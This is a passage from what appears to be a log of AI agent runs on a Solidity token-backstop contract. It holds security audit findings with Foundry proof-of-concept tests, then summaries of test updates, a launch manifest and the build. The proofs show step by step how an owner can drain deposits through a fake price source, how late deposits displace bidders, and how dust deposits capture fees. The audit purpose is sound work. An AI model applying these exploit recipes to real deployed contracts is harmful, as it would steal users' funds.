Pool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n        address[3] memory u = [seller, bob, mallory];\n        for (uint256 i; i < 3; ++i) {\n            usdc.mint(u[i], 1_000_000e18);\n            vm.startPrank(u[i]);\n            imd.approve(address(bs), type(uint256).max);\n            usdc.approve(address(bs), type(uint256).max);\n            vm.stopPrank();\n        }\n        imd.mint(seller, 1_000e18);\n        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD\n    }\n\n    /// a flat 100x price (momentum 0, so the pump filter passes), then sells 1,000 IMD per offer to the Shield.\n    function test_ownerDrainsShieldViaPriceSource() public {\n        address dep = makeAddr(\"depositor\");\n        usdc.mint(dep, 100_000e18);\n        vm.startPrank(dep);\n        usdc.approve(address(bs), type(uint256).max);\n        bs.shieldDeposit(100_000e18);\n        vm.stopPrank();\n\n        Pool fake = new Pool(address(imd), address(usdc));\n        fake.setTick(address(imd) < address(usdc) ? int24(46_000) : int24(-46_000)); // ~100x\n        vm.prank(owner);\n        try bs.setPriceSource(address(fake)) {} catch {} // a fixed contract may refuse or delay this\n        imd.mint(owner, 10_000e18);\n        vm.startPrank(owner);\n        imd.approve(address(bs), type(uint256).max);\n        uint256[] memory ids = new uint256[](10);\n        uint256 n;\n        for (uint256 i; i < 10; ++i) {\n            try bs.createOffer(1_000e18) returns (uint256 id) { ids[n++] = id; } catch {}\n        }\n        vm.stopPrank();\n        vm.warp(block.timestamp + bs.OFFER_WINDOW());\n        for (uint256 i; i < n; ++i) {\n            bs.settle(ids[i]);\n            vm.prank(owner);\n            bs.claimSeller(ids[i]);\n        }\n        (uint256 left, uint256 tokGain,,) = bs.shieldPosition(dep);\n        emit log_named_uint(\"owner USDC taken from Shield\", usdc.balanceOf(owner));\n        emit log_named_uint(\"depositor USDC left\", left);\n        emit log_named_uint(\"depositor IMD received\", tokGain);\n        // Fair value of IMD is 1 quote (the canonical pool sits at tick 0). Deposit + IMD received\n        // valued at that price must not fall by more than 1 % of the 100,000 deposited.\n        assertGe(left + tokGain, 99_000e18, \"owner moved Shield deposits through setPriceSource\");\n    }\n}","reproduction":"Constructor (owner, IMD, USDC, 1_000e18, 10_000e18, 1e18), canonical mock pool at tick 0. depositor shieldDeposit(100_000e18). Owner deploys a contract whose token0/token1 are the pair and whose observe() returns a constant tick of 46,000 for IMD (~100x), calls setPriceSource(fake), then createOffer(1_000e18) ten times, warps OFFER_WINDOW, and calls settle(id) and claimSeller(id) for each. Expected: the change is refused or delayed, or the depositor keeps ~100,000 of value. Actual: depositor has 8,346 USDC left plus 970 IMD (fair value 970), owner receives 88,904 USDC through claimSeller. forge test --match-path test/scratch/P1.t.sol fails with 'owner moved Shield deposits through setPriceSource: 9316e18 < 99000e18'.","severity":"medium","snippet":"        if (!((t0 == token && t1 == quote) || (t0 == quote && t1 == token))) revert PriceSourceMismatch();","title":"Owner can move locked Shield deposits to itself through setPriceSource: any contract with the right token0/token1 is accepted as price source, contradicting the README's 'cannot move escrowed funds'"},{"citation":"resolved","description":"Two routes buy an offer's lots. placeBid enforces the window (line 356), seller exclusion (357) and holder check (359). The Shield route enforces none: settle computes s from shieldTotalDeposits at settlement (lines 380, 409), shieldDeposit (460) is tied to no offer and has no holder check, settle is permissionless, and gains leave immediately through shieldClaimGains while only principal is locked (475, 512-513). So (a) anyone can deposit after the deadline and settle in the same transaction, taking up to 50 lots ahead of bids that fully covered the offer, with the IMD claimable at once plus 80 % of the fee; (b) a depositor entering in the settle block takes a pro-rata share of an in-the-money offer from long-term depositors; (c) a depositor whose lock has elapsed can shieldWithdraw just before settle when the frozen lotCost is above market, leaving the absorption to those who stay. All three give a free option on an offer whose price was fixed one hour earlier. Merged from audit_permissions 13b25e2d (medium), audit_economics c92c482e (low) and audit_flow ff24fc1d (info): one root cause, Shield capacity and distribution are not snapshotted at the deadline. Fix: count only deposits present before o.deadline (snapshot shieldTotalDeposits at createOffer or at the first settle-eligible block) and, for (c), lock withdrawals while an offer the depositor is exposed to is open.","line":409,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract Tok {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// Constant-tick pool stand-in with a settable tick.\ncontract Pool {\n    address public token0;\n    address public token1;\n    int24 public tick;\n    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }\n    function setTick(int24 t) external { tick = t; }\n    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](ago.length); l = new uint160[](ago.length);\n        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));\n    }\n}\n\ncontract PocLateShield is Test {\n    NightshiftBackstop bs;\n    Tok imd;\n    Tok usdc;\n    Pool pool;\n    address owner = makeAddr(\"owner\");\n    address seller = makeAddr(\"seller\");\n    address bob = makeAddr(\"bob\");\n    address mallory = makeAddr(\"mallory\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new Tok();\n        usdc = new Tok();\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        pool = new Pool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n        address[3] memory u = [seller, bob, mallory];\n        for (uint256 i; i < 3; ++i) {\n            usdc.mint(u[i], 1_000_000e18);\n            vm.startPrank(u[i]);\n            imd.approve(address(bs), type(uint256).max);\n            usdc.approve(address(bs), type(uint256).max);\n            vm.stopPrank();\n        }\n        imd.mint(seller, 1_000e18);\n        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD\n    }\n\n    /// must not displace bids placed inside the window.\n    function test_postDeadlineShieldDepositDisplacesBidders() public {\n        vm.prank(seller);\n        uint256 id = bs.createOffer(1_000e18); // 100 lots of 10 IMD, lotCost 9.5e18 at tick 0\n        vm.prank(bob);\n        uint256 bidId = bs.placeBid(id, 100);\n\n        vm.warp(block.timestamp + bs.OFFER_WINDOW()); // bidding closed\n        vm.expectRevert(NightshiftBackstop.BiddingClosed.selector);\n        vm.prank(mallory);\n        bs.placeBid(id, 1); // bidding is closed (mallory also holds no IMD)\n\n        vm.prank(mallory);\n        bs.shieldDeposit(950e18); // after the deadline, no holder check\n        bs.settle(id);\n\n        vm.prank(bob);\n        bs.claimBid(bidId);\n        vm.prank(mallory);\n        bs.shieldClaimGains();\n        emit log_named_uint(\"bob IMD received\", imd.balanceOf(bob) - 1e18);\n        emit log_named_uint(\"mallory IMD received\", imd.balanceOf(mallory));\n        assertEq(imd.balanceOf(mallory), 0, \"late Shield depositor took lots from the closed offer\");\n        assertEq(imd.balanceOf(bob), 1e18 + 1_000e18, \"bob's fully-covering bid was cut\");\n    }\n}","reproduction":"Constructor (owner, IMD, USDC, 1_000e18, 10_000e18, 1e18), pool at tick 0: 100 lots of 10 IMD at lotCost 9.5e18, Shield empty. bob (holds 1 IMD) placeBid(id, 100), covering the whole offer. Warp to deadline; placeBid now reverts BiddingClosed. mallory holds no IMD and calls shieldDeposit(950e18) then settle(id): s = min(50, 10_000e18/9.5e18, 475e18/9.5e18) = 50. Expected: bob receives all 1,000 IMD. Actual: bob receives 500 IMD plus a refund, and mallory's shieldClaimGains pays ~500 IMD plus 80 % of the 3 % fee. forge test --match-path test/scratch/P3.t.sol fails with 'late Shield depositor took lots from the closed offer: 499999999999999999500 != 0'.","severity":"medium","snippet":"        uint256 byFunds = shieldTotalDeposits * SHIELD_MAX_FUNDS_USE_BPS / BPS / lotCost;","title":"Shield participation is read at settle() time, not at the bidding deadline: a deposit after the window displaces in-window bidders, a same-block deposit dilutes existing depositors on good offers, and"},{"citation":"resolved","description":"createOffer takes only amount. It has no minLotCost, maxDiscount or deadline argument, yet the offer cannot be cancelled (line 331, README). lotCost is whatever quoteLot returns in the mined block. That differs from what the seller saw when the owner changes setPriceSource while the transaction is pending (including an honest migration to the empty 1 % pool), or when the TWAP moves. On the canonical pool (0.21 USDC of quote liquidity, see finding 1) a single swap moves the spot tick to the range edge, and a 30-minute TWAP with 12-second blocks moves by (887272 - 263819) * 12 / 1800 ~ 4,150 ticks, about 50 %, in one block, so a front-runner can reprice a pending offer and then bid on it cheaply. The README's 'Existing offers keep their frozen price' does not protect an in-flight offer. Reproduced from audit_permissions b10074fb. Fix: add minLotCost (or maxDiscountBps plus a deadline) and revert when lotCost is below it.","line":336,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract Tok {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// Constant-tick pool stand-in with a settable tick.\ncontract Pool {\n    address public token0;\n    address public token1;\n    int24 public tick;\n    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }\n    function setTick(int24 t) external { tick = t; }\n    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](ago.length); l = new uint160[](ago.length);\n        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));\n    }\n}\n\ncontract PocNoPriceBound is Test {\n    NightshiftBackstop bs;\n    Tok imd;\n    Tok usdc;\n    Pool pool;\n    address owner = makeAddr(\"owner\");\n    address seller = makeAddr(\"seller\");\n    address bob = makeAddr(\"bob\");\n    address mallory = makeAddr(\"mallory\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new Tok();\n        usdc = new Tok();\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        pool = new Pool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n        address[3] memory u = [seller, bob, mallory];\n        for (uint256 i; i < 3; ++i) {\n            usdc.mint(u[i], 1_000_000e18);\n            vm.startPrank(u[i]);\n            imd.approve(address(bs), type(uint256).max);\n            usdc.approve(address(bs), type(uint256).max);\n            vm.stopPrank();\n        }\n        imd.mint(seller, 1_000e18);\n        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD\n    }\n\n    /// source says and the seller had no way to bound it.\n    function test_createOfferHasNoPriceBound() public {\n        (uint256 expected,,) = bs.quoteLot(10e18);\n        Pool other = new Pool(address(imd), address(usdc));\n        other.setTick(address(imd) < address(usdc) ? int24(-46_000) : int24(46_000));\n        vm.prank(owner);\n        bs.setPriceSource(address(other));\n        vm.prank(seller);\n        uint256 id = bs.createOffer(1_000e18);\n        uint256 got = bs.getOffer(id).lotCost;\n        emit log_named_uint(\"expected lotCost\", expected);\n        emit log_named_uint(\"actual lotCost\", got);\n        assertGe(got * 100, expected * 99, \"offer escrowed at a price far below what the seller saw\");\n    }\n}","reproduction":"Pool at tick 0. Seller reads quoteLot(10e18) = 9.5e18 and sends createOffer(1_000e18). Before it is mined, owner calls setPriceSource(other), a matching-pair pool at tick -46,000 for IMD. Expected: the seller can reject an offer priced at ~1 % of what they saw. Actual: the offer is created with lotCost = 95514403896645359 (~0.0955 vs 9.5), cannot be cancelled, and bidders and the Shield can take all 100 lots at ~1 % of value. forge test --match-path test/scratch/P4.t.sol fails with 'offer escrowed at a price far below what the seller saw: 9551440389664535900 < 940500000000000000000'.","severity":"medium","snippet":"        (uint256 lotCost, uint256 discountBps, int256 momentumBps) = quoteLot(lotSize);","title":"createOffer has no price bound: the irrevocable escrow is priced at whatever the price source reports when the transaction is mined, and the pool is thin enough to move the 30-minute TWAP materially i"},{"citation":"resolved","description":"settle() decides whether the Shield is empty with shieldTotalDeposits != 0 (line 395) and credits shieldG += mulDiv(shieldFee, shieldP, shieldTotalDeposits) (396). That total is not the sum of claimable deposits: _compounded floors each share (537) and _shieldAbsorb floors shieldP (559) while subtracting the exact debt (565), so after any absorption the total exceeds the sum of compounded deposits by a few wei. Once the last depositor withdraws, shieldTotalDeposits is dust owned by nobody; every later settle writes shieldFee * P / dust into shieldG, and no account can realise it: _gain needs initial != 0 and a later depositor snapshots shieldG at deposit (530). The treasury receives 20 % instead of the README's 'If the Shield is empty, the whole fee goes to the treasury', and the 80 % stays in the contract with no sweep. This is the normal lifecycle after an absorption and a 30-day lock. The same guard lets a 1 wei deposit (byFunds = 0, so it never absorbs) collect 80 % of every fee: shieldG += mulDiv(shieldFee, P, 1), _gain = shieldFee. Merged from audit_economics 4d6ef6f7 and 7d6f5125, audit_math 9033f683 and audit_flow 87a0408f: one guard, one fix. Fix: pay the Shield share only in proportion to lots the Shield absorbed on that offer (or only when a live deposit base exists, e.g. track the count of accounts with initial != 0 and zero shieldTotalDeposits when it reaches 0), routing the rest to treasuryAccrued.","line":395,"path":"src/NightshiftBackstop.sol","reproduction":"Constructor (owner, IMD, USDC, 1_000e18, 10_000e18, 0), pool at tick 0, lotCost 9.5e18. (1) shielder shieldDeposit(28.5e18). (2) seller createOffer(1_000e18), warp 1 h, settle(1): shieldLots 1, debt 9.5e18, P floored to 666666666666666666. (3) warp 30 days; shielder shieldWithdraw(shieldPosition().deposit = 19e18 - 19): shieldTotalDeposits == 19 wei, no account has initial != 0. (4) seller createOffer(1_000e18); alice placeBid(id, 50); warp 1 h; settle(id). Fee = 14.25e18. Expected: treasuryAccrued grows by 14.25e18. Actual: it grows by 2.85e18; 11.4e18 is credited to shieldG for nobody and a later shieldDeposit(1_000e18) shows quoteGain 0. test_dustStrandsFee in test/scratch/Judge.t.sol fails with '2850000000000000000 != 14250000000000000000'. 1-wei variant: griefer shieldDeposit(1); seller createOffer(1_000e18); alice placeBid(id, 100); warp 1 h; settle(id): shieldLots 0, treasuryAccrued 5.7e18, griefer shieldClaimGains receives 22.8e18 (test_oneWeiTakesFeeShare).","severity":"medium","snippet":"        if (shieldFee != 0 && shieldTotalDeposits != 0) {","title":"Shield fee share is gated only by shieldTotalDeposits != 0: rounding dust after the last depositor leaves strands 80 % of every later fee forever, and a 1 wei deposit that absorbs nothing captures 80 "},{"citation":"resolved","description":"_shieldLots bounds one offer to shieldPerOfferCap and to 50 % of shieldTotalDeposits at that offer's settlement (405-411). createOffer has no limit per seller, block or price, so N offers created in one block carry the same lotCost and each settle spends half of what remains. With the README's 10,000 USDC cap, ten offers also lift the absolute exposure to 100,000 USDC. At a fair price this is a 5 %-discount purchase and not a loss; it is the amplifier that turns finding 1 into a drain of the whole Shield rather than one slice, and the README invariant ('at most 50 % of its deposits on one offer, so the pool can never be fully drained') is wrong as stated. Merged from audit_economics f8d17cd3 (medium) and audit_flow f92d9968 (info); rated low on its own because the loss needs a mispriced lotCost. Fix: compute byFunds against deposits minus Shield commitments of all unsettled offers, or cap Shield spend per rolling window.","line":405,"path":"src/NightshiftBackstop.sol","reproduction":"Shield 1,000e18; pool at tick 0 (lotCost 9.5e18). seller createOffer(1_000e18) five times in one block; warp 1 h; settle(1..5). Expected per README: at least 500e18 remains after offers created at one price. Actual: shieldLots 50, 27, 14, 7, 3 and shieldTotalDeposits 1,000e18 -> 40.5e18 (95.95 % spent). test_capSplit in test/scratch/Judge.t.sol logs 'shield left of 1000e18: 40500000000000000000'.","severity":"low","snippet":"    function _shieldLots(uint256 lotCost) internal view returns (uint256 s) {","title":"The 50 %-of-deposits and shieldPerOfferCap limits are per offer: splitting one escrow into N offers in one block commits 1 - 2^-N of the Shield to a single frozen price, contradicting the README's 'ca"},{"citation":"resolved","description":"pricePast is getQuoteAtTick(tickPast, lotSize) in whole quote units. When the older window values a lot below one unit, pricePast is 0 and line 313 sets momentumBps = 0 instead of a very large positive value. _discount then returns the 5 % base and shieldEligible (line 344) is true, so the Shield takes its slice of an offer priced right after the pump the filter exists to block. The result is non-monotonic: a smaller rise (pricePast = 1) trips the filter, a larger one passes it. Needs the older window's mean price below ~1e-7 USDC per IMD, reachable on the near-empty canonical pool (finding 1) or for a very low-priced token. Reproduced from audit_math f040a65c. Fix: treat pricePast == 0 as the maximum momentum (shieldEligible = false, MAX_DISCOUNT_BPS) or derive momentum from tickNow - tickPast.","line":313,"path":"src/NightshiftBackstop.sol","reproduction":"Constructor (owner, IMD, USDC, 1_000e18, 10_000e6, 1e18), USDC 6 decimals, mock pool with separately settable windows. (a) IMD-price ticks past -437,000, now -264,331: quoteLot(10e18) gives momentum 331,760,330,000 bps, discount 1200, filter trips. (b) past -460,000 (lower still), now -264,331: quoteLot(10e18) gives momentum 0, discount 500, lotCost 31,517,233, and createOffer would set shieldEligible = true. Expected: the larger rise trips the filter. Actual: momentum 0. test_momentumZeroWhenPastRoundsToZero in test/scratch/Momentum.t.sol demonstrates both values.","severity":"low","snippet":"            pricePast == 0 ? int256(0) : (int256(priceNow) - int256(pricePast)) * int256(BPS) / int256(pricePast);","title":"quoteLot reports momentum 0 when the past TWAP quote of a lot rounds to 0, so the largest possible pump skips the +20 % filter and gets the base discount"},{"citation":"resolved","description":"placeBid and shieldDeposit carry whenNotPaused; settle (372) does not, and deadlines keep running. Offers cannot be cancelled. If the owner pauses during a window, holders cannot bid for the rest of it; after the deadline anyone settles and only pre-pause bids compete. An owner who bid first then paused takes every non-Shield lot. Paused deposits plus unpaused shieldWithdraw also let unlocked depositors leave while nobody can enter. README documents the pause only as an 'emergency stop'. Privileged-actor finding, reproduced from audit_permissions 964c804c. Fix: extend deadlines by the paused duration or block settle for offers whose window overlapped a pause.","line":353,"path":"src/NightshiftBackstop.sol","reproduction":"seller createOffer(1_000e18). owner (holds 1 IMD) placeBid(id, 100); owner setPaused(true); alice placeBid(id, 100) reverts Paused; warp 1 h; settle(id). Expected: alice can bid during the window or the window is extended, giving a 50/50 pro-rata split. Actual: filledLots 100 and filledLotsOf(1) == 100, the owner takes all lots. test_pauseFreezesBidsNotClock in test/scratch/Judge.t.sol.","severity":"low","snippet":"    function placeBid(uint256 offerId, uint256 lots) external nonReentrant whenNotPaused returns (uint256 bidId) {","title":"setPaused blocks bids and deposits but not the offer clock or settle(), so a pause during an open window settles it with only pre-pause bids"},{"citation":"resolved","description":"claimSeller sends quote proceeds then returned IMD (423-424); claimBid sends IMD then the quote refund (452-453); _payGainsAndCompound sends IMD then quote gains (512-513) and is on the path of shieldDeposit, shieldWithdraw and shieldClaimGains. _call reverts the whole transaction on any failed transfer (598), there is no recipient argument and no sweep. A recipient USDC blacklists after entering cannot recover IMD that USDC has no say over. The README's 'only that recipient's claim fails' holds, but it loses an unrelated asset forever. Merged from audit_permissions f05884c4, audit_economics 773978b8 and audit_flow c9474b8d. Fix: add a `to` argument or split each claim into a token leg and a quote leg.","line":423,"path":"src/NightshiftBackstop.sol","reproduction":"BlockingToken as quote, Shield holds 10,000e18, seller createOffer(1_000e18), nobody bids, warp 1 h, settle(id): shieldLots 50, 500 IMD to return. usdc.setBlocked(seller); seller claimSeller(id). Expected: at least the 500 IMD is recoverable. Actual: reverts TokenTransferFailed at the quote transfer and imd.balanceOf(contract) stays 1,000e18 with no path out. test_blockedQuoteStrandsTokens in test/scratch/Judge.t.sol. Same shape for claimBid with a non-zero refund and for a depositor's token gains.","severity":"low","snippet":"        if (proceeds != 0) _send(quote, msg.sender, proceeds);","title":"claimSeller, claimBid and _payGainsAndCompound send both assets to msg.sender in one call, so a USDC-blacklisted recipient also loses the IMD leg permanently"}],"hash":"58d0aeca23c831834ff24232e173cf0aba65a8575d8a25fabd236a32da3966bf","nodeId":"01654527-bf69-47ea-b8b0-6cac9d0ec6e0","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds 9 findings, 4 of them with Foundry proofs that fail on the current code, and a 17-row coverage record answering all 14 entry points.\n\n**What I did**\n\n- Ran all four specialist proofs. Each fails on this code for the stated reason.\n- Wrote two scratch files that reproduce the remaining claims. The dust-stranded-fee test fails as claimed. The other four reproductions pass their assertions and their logs confirm the numbers the specialists reported.\n- Confirmed the canonical pool state on chain 1 through the task's endpoint, which backs the high finding. The README's designated price-source pool holds 0.21 USDC and about 6,552 IMD with observation cardinality 1.\n- The project's own suite still passes with 88 tests. Nothing in the tree was changed. Scratch files live only under `test/scratch/`.\n\n**Findings kept, after merging 17 specialist items into 9**\n\n1. **High.** The Shield is a forced buyer at the lotCost frozen in `createOffer`. With the near-empty canonical pool, any seller can hold a pumped TWAP for 90 minutes, pass the pump filter with zero momentum, and sell the Shield IMD at a multiple of market. Proof attached.\n2. **Medium.** The owner can drain locked Shield deposits through `setPriceSource`, since any contract with matching token0/token1 is accepted. This is a trust assumption the README misstates. Proof attached.\n3. **Medium.** Shield participation is read at settle time, not at the deadline. Merged three specialist items: post-deadline deposits displace bidders, same-block deposits dilute existing depositors, unlocked depositors dodge bad settlements. Proof attached.\n4. **Medium.** `createOffer` has no price bound on an uncancellable escrow. Proof attached.\n5. **Medium.** The Shield fee share is gated only by a non-zero total. Merged four items: dust after the last exit strands 80% of every fee forever, and a 1 wei deposit captures 80% of fees without absorbing.\n6. **Low.** Per-offer Shield caps are bypassed by splitting into several offers. Downgraded from medium, since it only causes loss when combined with a mispriced offer.\n7. **Low.** Momentum reports zero when the past quote rounds to zero, skipping the pump filter.\n8. **Low.** Pause freezes bids but not the offer clock or settlement.\n9. **Low.** Both payout legs are coupled, so a USDC blacklist also strands IMD. Merged three items.\n\n**Dropped or reclassified static-analysis leads.** The caret operator in `UniV3Math.mulDiv` is the intentional FullMath inverse seed. The reentrancy and unsafe-cast lines do not reproduce. These are recorded as holding invariants in the coverage record.","treeHash":null,"usage":{"cachedInputTokens":1027415,"chain":[{"calls":7,"chainId":1,"failed":0,"own":7,"public":0,"refused":0}],"cost":{"source":"runtime","usdMicros":3818822},"inputTokens":326,"model":"claude-fable-5-1","outputTokens":30123,"runtime":"claude","turns":21,"wallClockMs":441953}},{"artifacts":[],"attempt":1,"bundleHash":"8bd14189643651315e88fe802f69c6b32a38d50445d56f9e45cc0e298742559d","device":"764cd99b4c628a47","findings":[],"hash":"678a92e9cb554c4f284160c25a0374484ae21fb35677ed09c19c596aa9120bc7","nodeId":"727b5efc-3431-4e06-a8df-f1c6ffd990df","outcome":"completed","summary":"I've updated the test suite for the revised contract, and the full suite passes with the verifier's fuzz seed: 121 tests across 7 suites, none failing or skipped. I didn't find a defect in the revision, so I wrote no `.imd-findings.json`.\n\n**Why it broke:** the contract changed after my tests were accepted. Its new two-version `createOffer` stopped the suite compiling. Once that was fixed, two tests still failed because they were checking behaviour the revision changed on purpose.\n\n**What I changed in the existing tests**\n- **Compile fix:** `NightshiftFailurePaths.t.sol` and the invariant handler now call the one-argument `createOffer` by its signature.\n- **Fee test:** the Shield now earns fees only on lots it actually bought. The old test expected idle depositors to share bid fees; it now asserts they get nothing and the treasury takes the whole fee.\n- **Price-source test:** a second `setPriceSource` now only schedules the change. The test now checks that the old pool stays in force.\n- **Invariant handler** (`test/invariant/BackstopHandler.sol`), updated to the new rules:\n  - **Reservations:** the Shield's slice is reserved when an offer is created. The handler checks every reservation is recorded and released, and that open reservations never exceed half the deposits.\n  - **Settlement:** the Shield buys exactly its reservation or nothing, and only when the lot price is at or below the pool TWAP. If it buys nothing, all fees go to the treasury.\n  - **Withdrawals:** a withdrawal must fail with `ShieldFundsReserved` exactly when it would leave reservations uncovered.\n  - **Pause:** bids are now placed during pauses and are expected to succeed.\n  - **Price source:** a new `rotateSource` action schedules, cancels and applies a second pool. Applying early must fail.\n\n  The step-by-step walk-through test now reaches each of these paths.\n\n**New file `test/NightshiftRevisionProperties.t.sol`** (15 tests, 512 runs per fuzz test):\n- **New `createOffer` limits:** the offer succeeds exactly when the price minimum and deadline hold, and leaves nothing behind when it fails.\n- **Concurrent offers:** reservations from many offers at once stay within limits, and a deposit made after an offer can't enlarge its slice.\n- **Withdrawal boundary:** the exact point where withdrawals start failing.\n- **Settlement price check:** fuzzed price moves and bid sizes, plus a broken pool.\n- **Fee split:** the Shield's share is in proportion to the lots it bought.\n- **Pump filter:** it trips when the older price rounds to zero.\n- **Timelock edges:** the exact activation boundary, rescheduling, cancelling, non-owners and mismatched pools.\n- **Redirected claims (`...To`):** zero recipients are refused, outsiders can't redirect someone else's claim, and a bidder whose address the quote token blocks can still withdraw elsewhere.\n\n`test/TESTING.md` now describes these changes. It also records two design trade-offs that I judged not to be defects:\n- **Withdrawals can be held up:** anyone who keeps creating offers can tie up to half of the Shield's deposits in reservations until those offers settle. It's costly to keep up, because each such offer sells to the Shield at a discount plus the 3% fee.\n- **Settlement timing:** anyone can settle, so the settler picks the block. If the pool price is below the lot price at that moment, the Shield's slice goes to bidders instead.\n\nI didn't commit anything.","treeHash":"5639e816fea28fbc12c28c9dbe2b3273658dcdf3","usage":{"cachedInputTokens":2190653,"cost":{"source":"runtime","usdMicros":2096848},"inputTokens":57,"model":"claude-opus-5-5","outputTokens":37282,"runtime":"claude","turns":31,"wallClockMs":529905}},{"artifacts":[],"attempt":1,"bundleHash":"23d42f0ba1bd3dfeec586545d7e6ed1aed79221c1b94e0bc2317d764c113b6f7","device":"500cef6ec1073663","findings":[],"hash":"8a2b2aadc987aaa8884676a7778fcea941578e4ee6132e5c7dc48fb8bfcc1120","nodeId":"38c21845-49ef-421d-9800-578f4eb41df4","outcome":"completed","summary":"Created [launch.json](/root/.identitymd/work/81de6bc1-8458-493d-a84c-74690954579e/38c21845-49ef-421d-9800-578f4eb41df4/launch.json) for `NightshiftBackstop`, using `$owner` and all six accepted constructor arguments.\n\nManifest structure and ABI checks passed. `forge build` succeeded; all 40 tests passed with the supplied fuzz seed. Only `launch.json` is changed outside permitted scratch artifacts.","treeHash":"ba3399d0a20068d73a7812ef6707cf0787d031d1","usage":{"cachedInputTokens":242176,"cost":{"source":"estimated","usdMicros":718906},"inputTokens":32003,"model":"gpt-6-astra","outputTokens":3134,"runtime":"codex","turns":3,"wallClockMs":89156}},{"artifacts":[],"attempt":1,"bundleHash":"e4af5e027e52c18311b0e669f80e638baffec6d8587166410cdd93cb44fb24f3","device":"e0f64c10e30e33e2","findings":[],"hash":"de799a90b640917541b8062187be6b2a18914d23c89a6297f5098d22d981cefe","nodeId":"c57a9951-9528-4b29-a326-0fa13a806c41","outcome":"completed","summary":"I've built `NightshiftBackstop`, an Ethereum version of Backstop's main mechanic for the IMD token and the NIGHTSHIFT project. `forge build`, `forge test` (40 of 40 passing, fuzz run with the verifier's seed) and `forge fmt --check` all pass. It's committed as `d23838b`.\n\n**What it does**\n- **Sell offers:** instead of dumping on the pool, a seller locks IMD into 100 lots that can't be cancelled. The price is fixed at the IMD/USDC average price over the last 30 minutes, minus a discount of 2–12% that rises when the price is climbing (Backstop's formula). Holders have one hour to bid for whole lots in USDC; the seller can't bid on their own offer.\n- **Shield:** a shared USDC pool that takes up to 50% of each offer first. It is skipped when the price has risen more than 20%, and it never spends more than half its funds on one offer. Depositors earn 80% of fees, and deposits are locked for 30 days.\n- **Settlement:** anyone can trigger it after the hour. If too many lots are bid for, they are split pro-rata. Lots nobody takes go back to the seller. Everyone collects their own funds, so one blocked address can't freeze the others.\n- **Fees:** 3% on lots bought, paid by the seller. The other 20% goes to the treasury, which starts as the owner.\n- **Owner powers:** set the price pool, set the treasury, and pause new offers, bids and deposits. The owner can't stop settlement, claims or withdrawals, can't touch funds held in the contract, and the contract can't be upgraded.\n\n**Tests** cover success and failure paths for every function: permissions, late bids, self-bids, double claims, the lock boundary, pause behaviour, and fee-charging or blacklisting tokens. They also cover a reentrancy attempt, the Shield's internal bookkeeping over many rounds, and a fuzz test showing the contract always holds at least what it owes. Two checks were not run here: the protected owner check needs a file only the verifier has, and Slither isn't available on this machine. I wrote the code to avoid the six Slither detectors that reject work outright. I also copied the protected opcode scan into a scratch test, and it passed.\n\n**Launch values** (all six are in `README.md` and `script/DeployNightshiftBackstop.s.sol`):\n- **Owner:** `$owner`.\n- **IMD:** `0xD34a99Bc…E263B7`. I found this address through a third-party listing (DropsTab), then confirmed on chain that it has code, symbol IMD and 18 decimals.\n- **USDC:** `0xA0b86991…eB48`.\n- **Sizes:** minimum offer 1,000 IMD; Shield cap 10,000 USDC per offer; bidders must hold at least 1 IMD.\n\n**After launch (owner):**\n1. Call `increaseObservationCardinalityNext(≥600)` on the IMD/USDC 0.3% Uniswap v3 pool `0x894d4e6d…c520`. Its price history currently holds a single point, so it can't give an average price yet.\n2. Wait at least 90 minutes.\n3. Call `setPriceSource(pool)`. Until then, `createOffer` reverts with `PriceSourceNotConfigured`.\n\n**Decisions for you:**\n- **The 3% fee and the 80/20 split** come from Backstop's spec, because your request didn't state a fee. Tell me if you want different rates.\n- **Shield fee share:** Backstop sends 70% of fees to individual holder accounts based on how long each holder has held. That needs control over the token's transfers, which IMD (an existing token) doesn't allow, so that share goes to the Shield instead.\n- **\"Existing holder\"** only checks the IMD balance at the moment of bidding, so a flash 